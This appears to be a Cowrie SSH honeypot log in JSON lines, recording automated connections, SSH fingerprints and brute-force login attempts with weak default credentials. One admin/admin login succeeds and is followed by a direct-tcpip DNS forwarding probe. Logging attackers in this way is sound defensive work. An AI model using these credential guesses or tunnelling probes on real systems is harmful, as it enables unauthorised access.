{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:15.132930Z","src_ip":"91.92.42.227","session":"1da546ccbe5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39140,"dst_ip":"10.17.0.5","dst_port":22,"session":"178b760f34c0","protocol":"ssh","message":"New connection: 45.156.87.147:39140 (10.17.0.5:22) [session: 178b760f34c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:15.590992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:15.594166Z","src_ip":"45.156.87.147","session":"178b760f34c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:15.675143Z","src_ip":"45.156.87.147","session":"178b760f34c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:15.923194Z","src_ip":"45.156.87.147","session":"178b760f34c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:17.007110Z","src_ip":"45.156.87.147","session":"178b760f34c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:17.920742Z","src_ip":"91.92.42.227","session":"1da546ccbe5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3606,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfc4eda457c5","protocol":"ssh","message":"New connection: 87.251.64.176:3606 (10.17.0.5:22) [session: cfc4eda457c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:19.504443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:19.508491Z","src_ip":"87.251.64.176","session":"cfc4eda457c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:19.603645Z","src_ip":"87.251.64.176","session":"cfc4eda457c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:19.633183Z","src_ip":"91.92.42.227","session":"1da546ccbe5e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:19.888698Z","src_ip":"87.251.64.176","session":"cfc4eda457c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:19.985406Z","session":"cfc4eda457c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:20.081194Z","src_ip":"87.251.64.176","session":"cfc4eda457c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:20.313487Z","src_ip":"87.251.64.176","session":"cfc4eda457c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43106,"dst_ip":"10.17.0.5","dst_port":22,"session":"292606b82fa3","protocol":"ssh","message":"New connection: 45.156.87.147:43106 (10.17.0.5:22) [session: 292606b82fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:20.710141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:20.714487Z","src_ip":"45.156.87.147","session":"292606b82fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:20.797059Z","src_ip":"45.156.87.147","session":"292606b82fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:21.061571Z","src_ip":"45.156.87.147","session":"292606b82fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57366,"dst_ip":"10.17.0.5","dst_port":22,"session":"b668b246f736","protocol":"ssh","message":"New connection: 91.92.42.227:57366 (10.17.0.5:22) [session: b668b246f736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:21.557604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:22.023273Z","src_ip":"91.92.42.227","session":"b668b246f736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:22.026363Z","src_ip":"91.92.42.227","session":"b668b246f736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:22.155455Z","src_ip":"45.156.87.147","session":"292606b82fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda","message":"login attempt [root/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:25.231006Z","src_ip":"91.92.42.227","session":"b668b246f736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43110,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb72c213eae7","protocol":"ssh","message":"New connection: 45.156.87.147:43110 (10.17.0.5:22) [session: bb72c213eae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:25.920481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:25.925183Z","src_ip":"45.156.87.147","session":"bb72c213eae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:26.007775Z","src_ip":"45.156.87.147","session":"bb72c213eae7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"1234","message":"login attempt [devops/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:26.258153Z","src_ip":"45.156.87.147","session":"bb72c213eae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:26.955182Z","src_ip":"91.92.42.227","session":"b668b246f736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:27.346429Z","src_ip":"45.156.87.147","session":"bb72c213eae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38318,"dst_ip":"10.17.0.5","dst_port":22,"session":"439a7bd90311","protocol":"ssh","message":"New connection: 91.92.42.227:38318 (10.17.0.5:22) [session: 439a7bd90311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:28.190235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:29.201288Z","src_ip":"91.92.42.227","session":"439a7bd90311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:29.204616Z","src_ip":"91.92.42.227","session":"439a7bd90311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41812,"dst_ip":"10.17.0.5","dst_port":22,"session":"e548ebc98ad8","protocol":"ssh","message":"New connection: 45.156.87.147:41812 (10.17.0.5:22) [session: e548ebc98ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:31.094119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:31.098893Z","src_ip":"45.156.87.147","session":"e548ebc98ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:31.184011Z","src_ip":"45.156.87.147","session":"e548ebc98ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:31.614753Z","src_ip":"45.156.87.147","session":"e548ebc98ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1","message":"login attempt [alex/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:32.275987Z","src_ip":"91.92.42.227","session":"439a7bd90311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:32.701955Z","src_ip":"45.156.87.147","session":"e548ebc98ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:34.039037Z","src_ip":"91.92.42.227","session":"439a7bd90311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41368,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a1a8e2fadcd","protocol":"ssh","message":"New connection: 91.92.42.227:41368 (10.17.0.5:22) [session: 6a1a8e2fadcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:34.653437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:35.602799Z","src_ip":"91.92.42.227","session":"6a1a8e2fadcd","protocol":"ssh"}
